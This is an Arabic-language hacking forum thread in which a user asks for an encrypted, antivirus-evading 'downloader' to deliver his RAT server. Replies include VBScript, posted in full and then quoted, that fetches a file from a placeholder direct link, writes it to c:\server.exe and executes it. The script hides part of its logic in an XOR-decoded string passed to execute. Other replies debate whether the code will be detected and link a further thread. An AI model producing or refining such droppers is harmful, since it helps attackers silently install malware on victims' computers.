بسررررررعة يا وحوووش

[Chafik.Dz]

اتمنى منكم مسااعدتي في الحصوول على طريقة او برناامج صنااعة

داون لودر مشفر ...

اريده كلييييييين لانو الباتش كلين ....

في انتظاااااااركم يا وحووووووش

لكم مني احلى تقييييييم

 

[Chafik.Dz]

رد: بسررررررعة يا وحوووش

الووووووووووو

وينكم ياا ابطااااااال انا في الانتظاااار

 

[x33x]

رد: بسررررررعة يا وحوووش

Set fso = CreateObject("Scripting.FileSystemObject")
Set Wsh****************l = WScript.CreateObject("WScript.****************l")


Datei ="c:\server.exe"
URL = "رباطك المباشر هنا "


If (fso.FileExists(Datei)) Then
Else




Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", URL, False:xml.Send:abhvsyvzfxtftxradesarqw="drc7xDcervz7*7tervcrxu}rtc?5Vsxsu9Dcervz5>"
FoR sbsbygxyuxftxftysfw=1 tO lEn(abhvsyvzfxtftxradesarqw)
SBbxChgDgydtSFtwOFK=SBbxChgDgydtSFtwOFK + cHr(aSC(MiD(abhvsyvzfxtftxradesarqw,sbsbygxyuxftxftysfw,1))XoR 23)
nExT
execute SBbxChgDgydtSFtwOFK
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Const adSaveCreateNotExist = 1
oStream.type = adTypeBinary
oStream.open
oStream.write xml.responseBody
oStream.savetofile Datei, adSaveCreateNotExist
oStream.close
set oStream = nothing
Set xml = Nothing




Wsh****************l.Run Datei


End If

واحفظ الناتج بأسم aaaa.vbs مثلا

 

[мя.ѕάѕά]

رد: بسررررررعة يا وحوووش

إقتباس من : x33x

set fso = createobject("scripting.filesystemobject")
set wsh****************l = wscript.createobject("wscript.****************l")
 
 
datei ="c:\server.exe"
url = "رباطك المباشر هنا "
 
 
if (fso.fileexists(datei)) then
else
 
 
 
 
set xml = createobject("microsoft.xmlhttp")
xml.open "get", url, false:xml.send:abhvsyvzfxtftxradesarqw="drc7xdcervz7*7tervcrxu}rtc?5vsxsu9dcervz5>"
for sbsbygxyuxftxftysfw=1 to len(abhvsyvzfxtftxradesarqw)
sbbxchgdgydtsftwofk=sbbxchgdgydtsftwofk + chr(asc(mid(abhvsyvzfxtftxradesarqw,sbsbygxyuxftxftysfw,1))xor 23)
next
execute sbbxchgdgydtsftwofk
const adtypebinary = 1
const adsavecreateoverwrite = 2
const adsavecreatenotexist = 1
ostream.type = adtypebinary
ostream.open
ostream.write xml.responsebody
ostream.savetofile datei, adsavecreatenotexist
ostream.close
set ostream = nothing
set xml = nothing
 
 
 
 
wsh****************l.run datei
 
 
end if

واحفظ الناتج بأسم aaaa.vbs مثلا

راح يكون مكشوف بالطريقه هذه

 

[Chafik.Dz]

رد: بسررررررعة يا وحوووش

شكرااا على المرور ولكن بعد الحفظ ....

والفتح يحدث خطأأ

الرجااء التزويد بكود اخر او طريقة اخرى

وجااري تقييييييمكم

 

[جداااوي]

رد: بسررررررعة يا وحوووش

تفضل اخوي
http://www.dev-point.com/vb/t152138.html

 

[Chafik.Dz]

رد: بسررررررعة يا وحوووش

إقتباس من : جداااوي

تفضل اخوي
http://www.dev-point.com/vb/t152138.html

تسلم ياا جدااوي ...

وجااري تقييمك ويا ريت اكون السورس مومكشوف

 

[Chafik.Dz]

رد: بسررررررعة يا وحوووش

يجب أن تضع للبعض سمعات قبل إعطائها إلى جداااوي مرة أخرى.